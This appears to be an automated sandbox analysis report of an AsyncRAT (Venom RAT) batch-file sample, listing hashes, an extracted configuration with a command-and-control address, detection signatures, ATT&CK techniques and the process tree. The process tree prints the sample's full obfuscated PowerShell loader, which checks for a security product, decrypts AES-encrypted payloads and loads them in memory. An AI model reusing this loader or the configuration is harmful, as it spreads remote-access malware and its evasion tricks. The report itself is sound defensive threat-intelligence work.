asyncrat | 7c797bc3c700354b531d7b0aa4fbcfe6f3221e580d398037cb4ac8f632a9743c

Analysis

max time kernel
94s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 14:58

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General

Target
xD.bat
Size 65KB
Sample240508-sb53fsaa5z
SHA256 7c797bc3c700354b531d7b0aa4fbcfe6f3221e580d398037cb4ac8f632a9743c
MD5 2e34e0ab9244719305821c38fe213c37
SHA1 9cb80851613191b21ebc40ad985b47fa68d8774c
SHA512 2cc369e826d4ff65d1ffd6fb1e7ce830315fd21dc1fb54d6ec8b06c58a5f86870f0a57f0a847ca4525105784812a0fa4bfcc5e389291d7e84d18c2257675ead0
SSDEEP 1536:dJJD1eHAwt3VtHZh/YIkdmwahCqtPlnHROQbXC1B2qv:i3VtHZhgIWmwahCqVx0QbXk2qv
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

193.222.96.124:5050

Mutex

agwxieactmnvbumvumk

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3228-33-0x000001CC33200000-0x000001CC33218000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	3228	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1584	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3228	powershell.exe
3228	powershell.exe
1584	powershell.exe
1584	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3228	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 4880	2084	cmd.exe	79
PID 2084 wrote to memory of 4880	2084	cmd.exe	79
PID 4880 wrote to memory of 2844	4880	cmd.exe	81
PID 4880 wrote to memory of 2844	4880	cmd.exe	81
PID 4880 wrote to memory of 3228	4880	cmd.exe	82
PID 4880 wrote to memory of 3228	4880	cmd.exe	82
PID 3228 wrote to memory of 1584	3228	powershell.exe	83
PID 3228 wrote to memory of 1584	3228	powershell.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xD.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\xD.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\xD.bat';$wGtl='LowQGLawQGLdwQGL'.Replace('wQGL', ''),'ElfxQUemfxQUenfxQUtAfxQUtfxQU'.Replace('fxQU', ''),'FUtjArUtjAomUtjABasUtjAe6UtjA4UtjAStrUtjAingUtjA'.Replace('UtjA', ''),'GeOQGltOQGlCurOQGlrOQGleOQGlntOQGlPrOQGloOQGlcesOQGlsOQGl'.Replace('OQGl', ''),'EsWNTntsWNTryPsWNToisWNTntsWNT'.Replace('sWNT', ''),'MaieNXOnMoeNXOdueNXOleNXOeeNXO'.Replace('eNXO', ''),'TrOcAbansOcAbfoOcAbrmFOcAbiOcAbnaOcAblBOcAblocOcAbkOcAb'.Replace('OcAb', ''),'Splwhduiwhdutwhdu'.Replace('whdu', ''),'InPTvuvokPTvuePTvu'.Replace('PTvu', ''),'CreUFVYaUFVYteUFVYDUFVYecUFVYryUFVYptUFVYoUFVYrUFVY'.Replace('UFVY', ''),'CharscrngerscrErscrxrscrtrscrerscrnsirscrorscrnrscr'.Replace('rscr', ''),'DebAhhcobAhhmbAhhprbAhhebAhhssbAhh'.Replace('bAhh', ''),'CwGRRopwGRRyTwGRRowGRR'.Replace('wGRR', ''),'ReygHbadygHbLiygHbneygHbsygHb'.Replace('ygHb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($wGtl[3])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function kqXMT($FvMLi){$yuVsf=[System.Security.Cryptography.Aes]::Create();$yuVsf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yuVsf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yuVsf.Key=[System.Convert]::($wGtl[2])('ZPmarITq2qISishmMhAN5SieN3zSIyXHEEMkcAYPN4Y=');$yuVsf.IV=[System.Convert]::($wGtl[2])('pKL8KnX4ANOD8Ef8OdOJnQ==');$fXTHi=$yuVsf.($wGtl[9])();$KWagE=$fXTHi.($wGtl[6])($FvMLi,0,$FvMLi.Length);$fXTHi.Dispose();$yuVsf.Dispose();$KWagE;}function ymbNX($FvMLi){$BKlMi=New-Object System.IO.MemoryStream(,$FvMLi);$CmUjH=New-Object System.IO.MemoryStream;$xWgPw=New-Object System.IO.Compression.GZipStream($BKlMi,[IO.Compression.CompressionMode]::($wGtl[11]));$xWgPw.($wGtl[12])($CmUjH);$xWgPw.Dispose();$BKlMi.Dispose();$CmUjH.Dispose();$CmUjH.ToArray();}$pYGwG=[System.IO.File]::($wGtl[13])([Console]::Title);$BqtDQ=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 5).Substring(2))));$fdKjl=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 6).Substring(2))));[System.Reflection.Assembly]::($wGtl[0])([byte[]]$fdKjl).($wGtl[4]).($wGtl[8])($null,$null);[System.Reflection.Assembly]::($wGtl[0])([byte[]]$BqtDQ).($wGtl[4]).($wGtl[8])($null,$null); "
    3⤵
    PID:2844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_yzyinybf.xga.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yzyinybf.xga.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1584-24-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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memory/1584-28-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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memory/1584-26-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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memory/1584-25-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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memory/3228-12-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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memory/3228-30-0x00007FFEE2350000-0x00007FFEE2545000-memory.dmp

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memory/3228-13-0x000001CC33230000-0x000001CC33274000-memory.dmp

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memory/3228-0-0x00007FFEC4133000-0x00007FFEC4135000-memory.dmp

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memory/3228-11-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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memory/3228-10-0x000001CC328D0000-0x000001CC328F2000-memory.dmp

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memory/3228-29-0x000001CC331E0000-0x000001CC331EA000-memory.dmp

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memory/3228-14-0x000001CC336A0000-0x000001CC33716000-memory.dmp

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memory/3228-31-0x00007FFEE06C0000-0x00007FFEE077E000-memory.dmp

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memory/3228-32-0x000001CC331F0000-0x000001CC33200000-memory.dmp

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memory/3228-33-0x000001CC33200000-0x000001CC33218000-memory.dmp

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memory/3228-37-0x00007FFEC4133000-0x00007FFEC4135000-memory.dmp

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memory/3228-38-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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memory/3228-39-0x00007FFEC4130000-0x00007FFEC4BF1000-memory.dmp

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